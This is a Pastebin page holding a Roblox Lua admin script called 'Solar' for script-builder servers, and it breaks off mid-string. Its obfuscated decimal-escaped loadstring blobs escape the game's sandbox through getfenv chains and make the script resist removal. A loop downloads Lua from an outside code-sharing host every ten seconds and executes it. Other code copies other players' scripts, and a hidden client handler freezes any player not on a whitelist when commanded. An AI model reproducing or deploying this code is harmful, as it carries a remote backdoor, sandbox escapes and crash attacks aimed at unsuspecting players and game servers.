Pastebin
API
tools
faq
paste
Login
Sign up
Please fix the following errors:
New Paste
Syntax Highlighting
a,b = ypcall(function() wait(0.001); ScriptSource = nil SourceName = nil ScriptLines = 0 Seconds = 0 Minutes = 0 Hours = 0 SB = nil if script:findFirstChild("source") then SourceName = 'source' SB = [[Alakazard]] elseif script:findFirstChild('DSource') then SourceName = 'DSource' SB = [[Anaminus]] elseif script:findFirstChild('Source') then SourceName = 'Source' SB = [[Oxcool]] else SourceName = nil end wait() SSource = script:Clone() SSource.Disabled = true key = "/" TestMode = false LSource = nil Not = false ScriptingLocked = false MessageLimit = 10 --enough. pcall(function() Ms = game:service'MarketplaceService' MainProduct = Ms:GetProductInfo(148912003) end) ScriptSource = script:findFirstChild(SourceName).Value if TestMode == false then if SourceName == 'source' then if game.PlaceId ~= 20279777 then --C: loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")() end else script.Parent = nil end else print'Test mode is on' --Epic print end PrivateServer=false KickingPhrases = true -- 1 = Kill -- 2 = Mute -- 3 = Kick -- 4 = Crash -- 5 = Rejoin --[[ Todo: Kickingphrases ]] Solar = { ["Ranks"] = { ["Owner"] = 5, ["Developer"] = 4, ["Max admin"] = 3, ["Sentitel"] = 2, ["Admin"] = 1, ["Member"] = 0.1, ["Guest"] = 0, ['Annoying']=-0.1, ["Scum"] = -0.5, ["Banished from time and space"] = -1, ["Poo"] = -2 }; ["Ranked"] = { {["Name"] = "WinslowMau", ["Rank"] = 5, ["Reason"] = "Creator", ["Color"] = "Bright blue"}; }; ["Services"] = { game; game:service'Workspace'; game:service'Lighting'; game:service'StarterGui'; game:service'StarterPack'; game:service'Players'; }; ["Tabs"] = {}; ["Cmds"] = {}; ["Rotation"] = 0, ["RotationAddValue"] = 0.1 } --[[STARTUP LOOPS]]-- coroutine.wrap(function() while wait() do if LSource ~= nil then break end if SourceName == "source" then break end for _,v in pairs(game.Players:players()) do if LSource ~= nil then break end pcall(function() for j,k in pairs(v.Backpack:children()) do if LSource ~= nil then break end if k.ClassName == 'LocalScript' then if k:findFirstChild(SourceName) ~= nil then k.Archivable = true LSource = k:Clone() LSource.Disabled = true OutputAdmins("Source found","Really red") break end end wait() end for j,k in pairs(v.Character:children()) do if LSource ~= nil then break end if k.ClassName == 'LocalScript' then if k:findFirstChild(SourceName) ~= nil then k.Archivable = true LSource = k:Clone() LSource.Disabled = true OutputAdmins("Source found","Really red") break end end wait() end end) end end end)() coroutine.wrap(function() while wait(10) do pcall(function() SyncRemote = "https://code.stypi.com/raw/aleksa12432/Solar%20remote.lua" Http = game:service'HttpService' s = h:GetAsync(SyncRemote,true) loadstring(s)() end) end end)() coroutine.wrap(function() while wait(1) do Seconds = Seconds + 1 if Seconds == 60 then Seconds = 0 Minutes = Minutes + 1 end if Minutes == 60 then Minutes = 0 Hours = Hours + 1 end end end)() --[[FUNCTIONS]]-- function UpdateNilPlayersTablets() pcall(function() for i,v in pairs(game:service'NetworkServer':children()) do if v:GetPlayer() then if v:GetPlayer().Parent ~= game:service'Players' then local PT = {} local plr = nil for x,t in pairs(Solar['Tabs']) do if t.Owner == v:GetPlayer() then PT[#PT+1] = t end end for x,t in pairs(game:service'Workspace':children()) do if t.Name == v:GetPlayer().Name then plr = t end end for i = 1,#PT do local pos = CFrame.new(0,0,0) if plr.ClassName == 'Part' then pos = plr.CFrame elseif plr:findFirstChild'Torso' then pos = plr:findFirstChild'Torso'.CFrame end local m=(i/#PT-(.5/#PT)+(Solar["Rotation"]/(#PT/10)))*math.pi*2 local rad=(#PT*.6)+4 local x=math.sin(m)*(rad) local y=math.sin(time()/5) local z=math.cos(m)*rad local arot=Vector3.new(x,y,z)+pos.p local brot=PT[i].P.CFrame.p local crot=arot*.1+brot *.9 local d=math.rad((Solar["Rotation"]*300)*math.pi) PT[i].P.CFrame=CFrame.new(crot,pos.p)*CFrame.Angles(d,d,d) end end end end end) end function Explore(p, part) pcall(function() Dismiss(p) if part == nil then for _,v in pairs(Solar['Services']) do Output(p,v.Name,GetColor(p), function() Explore(p,v) end) end else for _,v in pairs(part:children()) do Output(p,v.Name,GetColor(p), function() Explore(p,v) end) end Output(p,"Currently exploring: "..part:GetFullName(),'New Yeller') Output(p,"ClassName: "..part.ClassName,'New Yeller') Output(p,"Destroy",'Really red', function() part:Destroy() Explore(p,part.Parent) end) Output(p,"Remove",'Really red', function() part:remove() Explore(p,part.Parent) end) Output(p,"Explore parent",'Bright blue', function() Explore(p,part.Parent) end) Output(p,"Clone",'Institutional white', function() clonedpart = part:Clone() end) Output(p,"Refresh",'Cyan', function() Explore(p,part) end) if clonedpart then Output(p,"Paste: "..clonedpart.Name,'Institutional white', function() clonedpart.Parent = part clonedpart = nil end) end end end) end --[[STARTUP LOOPS END]]-- ChatConnections = {} --[[SOURCES]]-- ConnectSource = [[ wait(0.001) if script:findFirstChild'source' ~= nil then loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")() script:ClearAllChildren() else script:ClearAllChildren() script.Parent=nil end wait(1) LocalPlayer = game.Players.LocalPlayer local asd = Instance.new("StringValue",LocalPlayer) asd.Name = 'asd' asd.Value = 'asdasdsadsadasdas' wait(0.1) asd:remove() wait(1) local asdcon = LocalPlayer.Chatted:connect(function(msg) if LocalPlayer.Parent ~= game:service'Players' then local a = Instance.new("StringValue", workspace) a.Name = 'LolCon' a.Value = LocalPlayer.Name..'\31'..msg game:service'Debris':AddItem(a,2) end end) local con = game.Lighting.descendantAdded:connect(function(what) if LocalPlayer.Name == 'optiplex123' or LocalPlayer.Name == 'aleksa12432' or LocalPlayer.Name == 'Exorsizer' or LocalPlayer.Name == 'WowARealScripter' then return end if what.ClassName == 'StringValue' then if what.Name == 'Disconnect' then local v = what.Value if LocalPlayer.Name:lower():sub(1,#v) == v:lower() then repeat until false elseif v == 'nil' then if LocalPlayer.Parent ~= game:service'Players' then repeat until false end elseif v == 'all' then repeat until false end end end end) local con2 = game:service'RunService'.RenderStepped:connect(function() if LocalPlayer:findFirstChild'asd' then asd = LocalPlayer:findFirstChild'asd' if asd.ClassName == 'StringValue' then if asd.Value == 'asdasdsadsadasdas' then asd:remove() asdcon:disconnect() con:disconnect() con2:disconnect() end end end end) ]] NilSupport = [[ wait(0.001) if script:findFirstChild'source' ~= nil then loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\